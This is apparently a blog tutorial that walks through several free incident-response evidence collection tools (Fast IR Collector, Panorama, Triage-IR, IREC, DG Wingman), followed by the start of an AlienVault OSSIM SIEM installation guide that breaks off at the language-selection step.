Fast IR Collector is a forensic analysis tool for Windows and Linux OS. It gathers the artifacts from the live machine and records the yield in the .csv or .json document.  Windows and Linux OS. This tool is created by SekoiaLab.

You can download the tool from here.

Let’s begin by exploring how the tool works:

You just need to run the executable file of the tool as administrator and it will automatically start the process of collecting data.

Results are stored in the folder by the named outputwithin the same folder where the executable file is stored.

Panorama

Panorama is a tool that creates a fast report of the incident on the Windows system.

You can download the tool from here.

Let’s begin by exploring how the tool works:

·         Run the Panorama.exe on the system.

·         Choose “Report” to create a fast incident overview.

The browser will automatically launch the report after the process is completed.

The report data is distributed in a different section as a system, network, USB, security, and others.

Triage

Triage is an incident response tool that automatically collects information for the Windows operating system. Triage-ir is a script written by Michael Ahrendt.

You can simply select the data you want to collect using the checkboxes given right under each tab. Triage IR requires the Sysinternals toolkit for successful execution.

Download here.

Let’s begin by exploring how the tool works:

·         Run the executable file of the tool.

·         Select "Yes" when shows the prompt to introduce the Sysinternal toolkit.

·         Click on “Run” after picking the data to gather.The process of data collection will take a couple of minutes to complete.

·         The data is collected in the folder by the name of your computer alongside the date at the same destination as the executable file of the tool.

IREC - IR Evidence Collector | Binalyze

IREC is a forensic evidence collection tool that is easy to use the tool. It is an all-in-one tool, user-friendly as well as malware resistant. This tool is created by Binalyze . A paid version of this tool is also available.
Download the tool from here.

Let’s begin by exploring how the tool works:

You can collect data by two means:

·         Collect evidence: This is for an in-depth investigation.

·         RAM and Page file: This is for memory only investigation

Here we will choose, "collect evidence.” for in-depth evidence. Click start to proceed further.

The process has been begun after effectively picking the collection profile.

The process is completed. You can analyze the data collected from the output folder.

The output will be stored in a folder named cases that will comprise of a folder named by PC name and date at the same destination as the executable file of the tool.

Here is the HTML report of the evidence collection.The HTML report is easy to analyze, the data collected is classified into various sections of evidence. You can also generate the PDF of your report.

DG Wingman

DG Wingman is a free windows tool for forensic artifacts collection and analysis. The tool is by DigitalGuardian. This tool collects artifacts of importance such as registry logs, system logs, browser history, and many more. Also allows you to execute commands as per the need for data collection.

You can download the tool from here.

Let’s begin by exploring how the tool works:

·         Run the executable file of the tool.

·         Use the command wingman.exe/h, this gives you a rundown of commands along with their capacities.

For example, in the incident, we need to gather the registry logs. We will use the command

wingman.exe -r

All the registry entries are collected successfully.

These are the amazing tools for first responders. And they even speed up your work as an incident responder. These tools come handy as they facilitate us with both data analyses, fast first responding with additional features.

AlienVault OSSIM is an Open Source Security Information and Event Management (SIEM), which provides you the feature-rich open source SIEM complete with event collection, normalization, and correlation. OSSIM is a unified platform which is providing the essential security capabilities like: -

·         Asset discovery

·         Vulnerability assessment

·         Host Intrusion detection

·         Network intrusion detection

·         Behavioral monitoring

·         SIEM event correlation

·          

It is already loaded with the power of the AlienVault Open Threat Exchange (OTX). The open threat intelligence community provides community-generated threat intelligence and allows you to collaborate with them and also automates the process of updating your security infrastructure with threat data from any source.

AlienVault is very useful for monitoring your system security event or vulnerability and can help you to audit assessment security like PCI-DSS.

So, without wasting more time or much theory let’s begin the installation process.

AlienVault OSSIM ISO can be easily found on the AlienVault OSSIM product page.

Table of content

·         Prerequisites

·         Installation

·         Setup log monitoring interface

·         Web UI Access

Prerequisites

For the installation of AlienVault OSSIM, there are some minimum requirements as listed below.

§  VMware or Virtual Box

§  2 NIC (Network interface card) E1000 compatible network cards

(You can have multiple NICs for Log Management or network monitoring)

§  4 CPU cores

§  4-8GB RAM

§  60GB HDD

Installation

Once you've downloaded the AlienVault OSSIM ISO file, begin installation It on your virtual machine.

To install AlienVault OSSIM

·         In your virtual machine, create a new VM instance using the AlienVault OSSIM ISO as the installation source.

·         Complete the requirements of AlienVault as shown below.

Once you launch the new AlienVault instance, select Install AlienVault OSSIM 5.7.4 (64 Bit) and Hit Enter As shown below

The installation process takes you through a tour of setup options choose as per your requirements.

·         Select language that you want to use